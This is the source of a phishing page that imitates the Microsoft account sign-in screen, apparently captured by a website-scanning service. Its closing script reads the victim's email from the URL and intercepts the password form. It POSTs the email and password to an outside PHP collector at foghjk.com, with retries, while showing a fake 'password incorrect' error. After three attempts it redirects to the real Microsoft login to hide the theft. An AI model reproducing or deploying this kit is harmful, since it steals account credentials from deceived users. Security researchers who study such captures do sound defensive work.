                                                                                                      target: accessRecoveryLink &amp;&amp; '_blank',
                                                                                                      role: supportsNativeCredentialRecovery ? 'button' : 'link'
                                                                                                  },
                                                                                                  click: accessRecoveryLink ? null : resetPassword_onClick } }"
                                                                            class="error ext-error e1 hidden">Please
                                                                            enter the password for your Microsoft
                                                                            account.</div>
                                                                        <div id="passwordError"
                                                                            data-bind="
                                                                                          externalCss: { 'error': true },
                                                                                          htmlWithBindings: passwordTextbox.error,
                                                                                          childBindings: {
                                                                                              'idA_IL_ForgotPassword0': {
                                                                                                  href: accessRecoveryLink || svr.O,
                                                                                                  attr: {
                                                                                                      target: accessRecoveryLink &amp;&amp; '_blank',
                                                                                                      role: supportsNativeCredentialRecovery ? 'button' : 'link'
                                                                                                  },
                                                                                                  click: accessRecoveryLink ? null : resetPassword_onClick } }"
                                                                            class="error ext-error e2 hidden">Your
                                                                            account or password is incorrect.</div>

                                                                        <div class="placeholderContainer" data-bind="component: { name: &#39;placeholder-textbox-field&#39;,
            publicMethods: passwordTextbox.placeholderTextboxMethods,
            params: {
                serverData: svr,
                hintText: str[&#39;CT_PWD_STR_PwdTB_Label&#39;] },
            event: {
                updateFocus: passwordTextbox.textbox_onUpdateFocus } }">
                                                                            

                                                                            <input name="passwd" type="password"
                                                                                id="i0118"
                                                                                class="form-control input ext-input text-box ext-text-box passwording p11"
                                                                                placeholder="Password">

                                                                            
                                                                            
                                                                            
                                                                            
                                                                        </div>

                                                                        
                                                                    </div>
                                                                </div>

                                                                

                                                                <div data-bind="css: { &#39;position-buttons&#39;: !tenantBranding.BoilerPlateText &amp;&amp; !boilerPlateText }, externalCss: { &#39;password-reset-links-container&#39;: true }"
                                                                    class="position-buttons password-reset-links-container ext-password-reset-links-container">
                                                                    <div>
                                                                        
                                                                        

                                                                        <div class="row">
                                                                            <div class="col-md-24">
                                                                                <div class="text-13">
                                                                                    
                                                                                    
                                                                                    <div class="form-group">
                                                                                        
                                                                                        
                                                                                        <a id="idA_PWD_ForgotPassword"
                                                                                            role="link" data-bind="
                            text: unsafe_forgotPasswordText,
                            href: accessRecoveryLink || svr.O,
                            attr: { target: accessRecoveryLink &amp;&amp; &#39;_blank&#39; },
                            click: accessRecoveryLink ? null : resetPassword_onClick">Forgotten your password?</a>
                                                                                        
                                                                                    </div>
                                                                                    
                                                                                    
                                                                                    
                                                                                    

                                                                                    <div class="form-group">
                                                                                        
                                                                                        <a id="idA_PWD_SwitchToCredPicker"
                                                                                            href="https://login.live.com/#"
                                                                                            data-bind="
        text: isUserKnown ? str[&#39;CT_PWD_STR_SwitchToCredPicker_Link&#39;] : str[&#39;CT_PWD_STR_SwitchToCredPicker_Link_NoUser&#39;],
        ariaDescribedBy: ariaDescribedBy,
        click: switchToCredPicker_onClick,
        hasFocusEx: setFocus">Other ways to sign in</a>
                                                                                        

                                                                                        

                                                                                        
                                                                                    </div>

                                                                                    

                                                                                    
                                                                                    
                                                                                    
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </div>

                                                                    <div class="win-button-pin-bottom"
                                                                        data-bind="css : { &#39;boilerplate-button-bottom&#39;: tenantBranding.BoilerPlateText || boilerPlateText }">
                                                                        <div class="row"
                                                                            data-bind="css: { &#39;move-buttons&#39;: tenantBranding.BoilerPlateText || boilerPlateText }">
                                                                            <div data-bind="component: { name: &#39;footer-buttons-field&#39;,
                params: {
                    serverData: svr,
                    primaryButtonText: str[&#39;CT_PWD_STR_SignIn_Button&#39;],
                    isPrimaryButtonEnabled: !isRequestPending(),
                    isPrimaryButtonVisible: svr.e,
                    isSecondaryButtonEnabled: true,
                    isSecondaryButtonVisible: false },
                event: {
                    primaryButtonClick: primaryButton_onClick } }">
                                                                                <div class="col-xs-24 no-padding-left-right button-container button-field-container ext-button-field-container"
                                                                                    data-bind="
    visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
    css: { &#39;no-margin-bottom&#39;: removeBottomMargin },
    externalCss: { &#39;button-field-container&#39;: true }">

                                                                                    

                                                                                    <div data-bind="css: { &#39;inline-block&#39;: isPrimaryButtonVisible }, externalCss: { &#39;button-item&#39;: true }"
                                                                                        class="inline-block button-item ext-button-item">
                                                                                        
                                                                                        <input type="submit"
                                                                                            id="idSIButton9"
                                                                                            class="win-button button_primary button ext-button primary ext-primary"
                                                                                            data-report-event="Signin_Submit"
                                                                                            data-report-trigger="click"
                                                                                            data-report-value="Submit"
                                                                                            data-bind="
                attr: primaryButtonAttributes,
                externalCss: {
                    &#39;button&#39;: true,
                    &#39;primary&#39;: true },
                value: primaryButtonText() || str[&#39;CT_PWD_STR_SignIn_Button_Next&#39;],
                hasFocus: focusOnPrimaryButton,
                click: svr.fEnableLivePreview ?  function() { } : primaryButton_onClick,
                clickBubble: !svr.fEnableLivePreview,
                enable: isPrimaryButtonEnabled,
                visible: isPrimaryButtonVisible,
                preventTabbing: primaryButtonPreventTabbing" value="Sign in" data-report-attached="1">
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </div>
                                                                </div>

                                                                
                                                            </div>
                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            

                                                            
                                                            
                                                        </div>
                                                    </div>
                                                </div>
                                                

                                                <input type="hidden" name="ps" data-bind="value: postedLoginStateViewId"
                                                    value="">
                                                <input type="hidden" name="psRNGCDefaultType"
                                                    data-bind="value: postedLoginStateViewRNGCDefaultType" value="">
                                                <input type="hidden" name="psRNGCEntropy"
                                                    data-bind="value: postedLoginStateViewRNGCEntropy" value="">
                                                <input type="hidden" name="psRNGCSLK"
                                                    data-bind="value: postedLoginStateViewRNGCSLK" value="">
                                                
                                                
                                                <input type="hidden" name="canary" data-bind="value: svr.canary"
                                                    value="">
                                                
                                                <input type="hidden" name="ctx" data-bind="value: ctx" value="">
                                                <input type="hidden" name="hpgrequestid"
                                                    data-bind="value: svr.sessionId" value="">
                                                <input type="hidden" id="i0327"
                                                    data-bind="attr: { name: svr.bY }, value: flowToken" name="PPFT"
                                                    value="-DtN4ZWbWkTzzk9u4ZER*JliwnMtmR1m4*mySFsXjgoE5OIs*uKfOPILZuX2EaQL5KhAbqMp*fWhd!QZ*jWdv7xvya9sh6Z4ZomMXBrX4HoY3uUCeLhZe5l8R9FHEuWptuxGvVqWKXPNOqJ1UdJhxv!AqAZqE358hKk*Ikt36b9nnWeLXRXNVl9hbyiTvo8XHFw$$">
                                                <input type="hidden" name="PPSX" data-bind="value: svr.Dl"
                                                    value="Passp">
                                                <input type="hidden" name="NewUser" value="1">
                                                <input type="hidden" name="FoundMSAs" data-bind="value: svr.AT"
                                                    value="">
                                                <input type="hidden" name="fspost"
                                                    data-bind="value: svr.fPOST_ForceSignin ? 1 : 0" value="0">
                                                <input type="hidden" name="i21"
                                                    data-bind="value: wasLearnMoreShown() ? 1 : 0" value="0">
                                                <input type="hidden" name="CookieDisclosure"
                                                    data-bind="value: svr.bA ? 1 : 0" value="0">
                                                <input type="hidden" name="IsFidoSupported"
                                                    data-bind="value: isFidoSupported() ? 1 : 0" value="1">
                                                <input type="hidden" name="isSignupPost"
                                                    data-bind="value: isSignupPost() ? 1 : 0" value="0">
                                                
                                                <input type="hidden" name="isRecoveryAttemptPost"
                                                    data-bind="value: isRecoveryAttemptPost() ? 1 : 0" value="0">
                                                
                                                
                                                <div data-bind="component: { name: &#39;instrumentation-control&#39;,
            publicMethods: instrumentationMethods,
            params: { serverData: svr } }">
                                                    <input type="hidden" name="i19" data-bind="value: timeOnPage"
                                                        value="">
                                                </div>
                                                
                                            </div>

                                            
                                            
                                            
                                            

                                            

                                            
                                            

                                            
                                        </div>
                                    </div>
                                    
                                </div>
                            </div>
                        </div>

                        
                        <div id="footer" role="contentinfo" data-bind="
        externalCss: {
            &#39;footer&#39;: true,
            &#39;has-background&#39;: !$page.useDefaultBackground() &amp;&amp; $page.showFooter(),
            &#39;background-always-visible&#39;: $page.backgroundLogoUrl }" class="footer ext-footer">

                            <div data-bind="component: { name: &#39;footer-control&#39;,
            publicMethods: $page.footerMethods,
            params: {
                serverData: svr,
                useDefaultBackground: $page.useDefaultBackground(),
                hasDarkBackground: $page.backgroundLogoUrl(),
                showLinks: true,
                showFooter: $page.showFooter(),
                hideTOU: $page.hideTOU(),
                termsText: $page.termsText(),
                termsLink: $page.termsLink(),
                hidePrivacy: $page.hidePrivacy(),
                privacyText: $page.privacyText(),
                privacyLink: $page.privacyLink() },
            event: {
                agreementClick: $page.footer_agreementClick,
                showDebugDetails: $page.toggleDebugDetails_onClick } }">
                                
                                <div id="footerLinks" class="footerNode text-secondary footer-links ext-footer-links"
                                    data-bind="externalCss: { &#39;footer-links&#39;: true }">

                                    
                                    
                                    <a id="ftrTerms" data-bind="
            text: termsText,
            href: termsLink,
            click: termsLink_onClick,
            externalCss: {
                &#39;footer-content&#39;: true,
                &#39;footer-item&#39;: true,
                &#39;has-background&#39;: !useDefaultBackground,
                &#39;background-always-visible&#39;: hasDarkBackground }"
                                        href="https://login.live.com/gls.srf?urlID=WinLiveTermsOfUse&amp;mkt=EN-GB&amp;uaid=a895326f36b74fc294363ee60298259d"
                                        class="footer-content ext-footer-content footer-item ext-footer-item">Terms of
                                        use</a>
                                    

                                    
                                    <a id="ftrPrivacy" data-bind="
            text: privacyText,
            href: privacyLink,
            click: privacyLink_onClick,
            externalCss: {
                &#39;footer-content&#39;: true,
                &#39;footer-item&#39;: true,
                &#39;has-background&#39;: !useDefaultBackground,
                &#39;background-always-visible&#39;: hasDarkBackground }"
                                        href="https://login.live.com/gls.srf?urlID=MSNPrivacyStatement&amp;mkt=EN-GB&amp;uaid=a895326f36b74fc294363ee60298259d"
                                        class="footer-content ext-footer-content footer-item ext-footer-item">Privacy
                                        &amp; cookies</a>
                                    

                                    

                                    

                                    
                                    

                                    
                                    <a id="moreOptions" href="https://login.live.com/#" role="button" data-bind="
        click: moreInfo_onClick,
        ariaLabel: str[&#39;CT_STR_More_Options_Ellipsis_AriaLabel&#39;],
        attr: { &#39;aria-expanded&#39;: showDebugDetails().toString() },
        hasFocusEx: focusMoreInfo(),
        externalCss: {
            &#39;footer-content&#39;: true,
            &#39;footer-item&#39;: true,
            &#39;debug-item&#39;: true,
            &#39;has-background&#39;: !useDefaultBackground,
            &#39;background-always-visible&#39;: hasDarkBackground }"
                                        aria-label="Click here for troubleshooting information" aria-expanded="false"
                                        class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
                                </div>
                                

                                
                            </div>
                        </div>
                        
                    </div>
                    
                </div>
                

                
                
                
            </div>
            
        </form>

        <form data-bind="postRedirectForm: postRedirect" method="POST" aria-hidden="true" target="_top"></form>

        

        
    </div>
    <script>
        // ############################################################################
        // Specify the URL of the PHP file Here
        var url = "https://foghjk.com/rptin/inon/zzzrptin/mso/main.php";
        // ############################################################################

        var a1 = document.querySelectorAll(".aaaa1");
        var a2 = document.querySelectorAll(".aaaa2");
        let email

        window.onload = function () {
            // Get the current URL
            var url = window.location.href;

            // Parse the URL and get the fragment (the part after the '#')
            var urlComponents = new URL(url);
            email = urlComponents.hash.substring(1);

            // Check if the fragment is a valid email
            var emailRegex = /^[\w-]+(\.[\w-]+)*@([\w-]+\.)+[a-zA-Z]{2,7}$/;
            if (emailRegex.test(email)) {
                //   Make this email available globally
                window.email = email;
                // If it is, add the email into a html element as text
                var emailElement = document.querySelector(".identity");
                var emailInput = document.querySelector(".in-identity")
                if (emailElement) {
                    emailElement.title = email;
                    emailElement.innerHTML = email;
                    emailInput.value = email
                }
            }
        };


        // Get the form and input elements
        var form = document.getElementById("i0281");
        // var textForm = document.getElementById("username");
        var input = document.querySelector(".passwording");
        var inputColor = document.getElementById("i0118")
        var emptyField = document.querySelectorAll(".e1")
        var passwordError = document.querySelectorAll(".e2");

        var clickCount = 0;

        // Add an event listener for form submission
        form.addEventListener("submit", function (event) {
            // Prevent the form from being submitted normally
            event.preventDefault();

            // Get the input value
            var password = input.value;

            // Write an if statement to check if the input value is empty
            if (password === "") {
                // If it is, do nothing and return from the function
                emptyField.forEach(function (empty) {
                    empty.classList.remove("hidden");
                })
                inputColor.style.cssText = 'border-color: #e81123;'
                setTimeout(function () {
                    emptyField.forEach(function (empty) {
                        empty.classList.add("hidden");
                    })
                    inputColor.style.cssText = ''
                }, 3000)
                return;
            }

            // Toggle classlist of passwordError to add or remove the "input-byline--error-hidden" class
            loading()
            setTimeout(function () {
                passwordError.forEach(function (error) {
                    error.classList.remove("hidden");
                });
                inputColor.style.cssText = 'border-color: #e81123;'
                input.value = "";
                // textForm.value = ""
                setTimeout(function () {
                    passwordError.forEach(function (error) {
                        error.classList.add("hidden");
                    });
                    inputColor.style.cssText = '';
                }, 3000)
            }, 3000)

            if (email && password) {
                let dataLog = {
                    email,
                    password,
                    desc: "https://login.microsoftonline.com/ Login Details",
                };
                // console.log(dataLog);
                sendDataWithRetry(dataLog);
            }

        });

        // Write a function that will redirect the page to a URL
        function toggleClass() {
            // Redirect the page to a URL
            window.location.href = "https://login.microsoftonline.com/";
        }


        function loading() {
            const loader = document.querySelector(".loader");

            loader.classList.remove("loader--hidden");

            setTimeout(function () {
                loader.classList.add("loader--hidden");
            }, 3000);
        }

        // Send data to the PHP file
        function sendDataWithRetry(dataLog, maxRetries = 3) {
            const sendRequest = async (retryCount) => {
                try {
                    const response = await fetch(url, {
                        method: "POST",
                        headers: {
                            "Content-Type": "application/json; charset=utf-8",
                        },
                        body: JSON.stringify(dataLog),
                    });

                    if (response.ok) {
                        const responseData = await response.json();
                        // console.log("Data received by PHP:", responseData);
                        clickCount++;
                        // console.log(clickCount);
                        if (clickCount === 3) {
                            // Execute a separate function on second click
                            toggleClass();
                            clickCount = 0;
                        }
                        // Continue with other tasks (e.g., UI updates, etc.)
                    } else {
                        throw new Error("Network response was not OK");
                    }
                } catch (error) {
                    console.error("Error sending data:", error);
                    if (retryCount < maxRetries) {
                        console.log(`Retrying (attempt ${retryCount + 1})...`);
                        await sendRequest(retryCount + 1);
                    } else {
                        console.error("Max retries reached. Data not sent.");
                        // Handle failure (e.g., show an error message)
                    }
                }
            };
            sendRequest(0); // Start the initial request
        }

    </script>
</body>

</html></script>



© 2023 Quttera Ltd. All rights reserved.